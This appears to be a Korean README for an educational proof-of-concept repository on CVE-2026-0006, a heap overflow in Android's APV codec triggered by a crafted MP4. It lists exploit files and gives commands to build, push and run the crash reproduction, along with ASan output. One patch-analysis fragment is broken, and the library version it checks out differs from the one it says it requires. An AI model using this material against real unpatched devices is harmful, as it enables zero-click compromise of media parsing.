
CVE-2026-0006: libopenapv(Android APV 코덱)용 힙 버퍼 오버플로 PoC - CVSS 9.8
CVSS 9.8 Critical | 실제 환경에서 활발히 악용됨 | 2026년 3월 패치됨
참고: 저희는 이 취약점을 발견하지 않았습니다. CVE-2026-0006을 발견하고 책임 있게 보고한 모든 공로는 원래 연구자들에게 있습니다. 이 저장소는 보안 커뮤니티가 관련 버그 클래스와 악용 기술을 이해하도록 돕기 위한 저희의 독자적인 패치 분석, 재현 및 교육용 자료를 담고 있습니다.

CVE-2026-0006은 Android 16에 Mainline 모듈로 통합된 삼성의 오픈소스 APV(Advanced Professional Video) 코덱인 libopenapv의 힙 버퍼 오버플로우입니다.
이 취약점은 조작된 MP4 파일을 통해 제로 클릭 원격 코드 실행을 허용합니다. Android 미디어 프레임워크는 썸네일과 미리보기 생성 시 비디오 파일을 자동으로 처리하므로 사용자 상호작용이 필요하지 않습니다.
oapvd_info()와 oapvd_decode()는 서로 다른 PBU(Payload Byte Units)에서 프레임 크기를 읽습니다. 공격자는 작은 크기(16x16)를 주장하는 AU_INFO PBU(type 65)를 주입하는 반면, 실제 FRAME PBU는 큰 크기(64x64)를 인코딩합니다. 프레임워크는 oapvd_info() 출력에 따라 버퍼를 할당한 다음, oapvd_decode()가 FRAME PBU의 크기로 디코딩된 픽셀을 기록하여 버퍼를 14,848바이트만큼 오버플로우시킵니다.
| 파일 | 설명 |
|---|---|
generate_overflow_mp4.py | AU_INFO 크기 불일치로 익스플로잇 MP4를 생성합니다 |
deploy_exploit_mp4.sh | 원샷: 생성, Android 기기로 푸시, 열기, 크래시 캡처 |
poc_mp4_asan.c | C2SoftApvDec 디코드 경로를 모사한 ASan PoC |
poc_android_oob_write.c | 가드 영역 오버플로우 감지 기능이 있는 독립형 ARM64 PoC |
valid.apv | 유효한 337바이트 APV 비트스트림(64x64, YUV422, 10비트) |
apv-mp4/valid_ffmpeg.mp4 | 기준 MP4 컨테이너(ffmpeg로 생성) |
apv-mp4/overflow_auinfo.mp4 | 사전 빌드된 익스플로잇 MP4(1,178바이트) |
보안 패치 수준이 2026년 3월 이전인 Android 16 에뮬레이터가 필요합니다(이전 Android 버전에는 APV 디코더가 없습니다).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
보안 패치가 2026-03-01 이상이면 취약점이 패치된 것이므로 익스플로잇이 작동하지 않습니다. 이전 시스템 이미지나 스냅샷을 사용하세요.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
이 스크립트는 익스플로잇 MP4를 생성해 기기로 푸시하고 열어서 크래시 출력을 캡처합니다. 첫 번째 시도에서 크래시가 발생하지 않을 수 있으며, 스크립트는 최대 3회 자동 재시도합니다.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): ssize > 4 검증 및 'aPv1' 시그니처 확인oapv_param.c 모듈이 취약점은 원래 보안 연구자들이 발견하고 책임 있게 보고했습니다. 저희는 이 CVE를 발견하지 않았습니다. 발견에 대한 모든 공로는 그들에게 있습니다.
이 저장소는 보안 커뮤니티가 실제 취약점에서 배울 수 있도록 교육 목적으로 제작된 Mobile Hacking Lab의 독자적인 패치 분석 및 재현 자료입니다.
이 연구는 취약한 라이브러리의 격리된 테스트 빌드에서 교육 목적으로 수행되었습니다. 모든 테스트는 오픈소스 libopenapv 프로젝트의 로컬 빌드 바이너리를 대상으로 실행되었습니다. 실제 프로덕션 기기나 시스템은 대상으로 하지 않았습니다.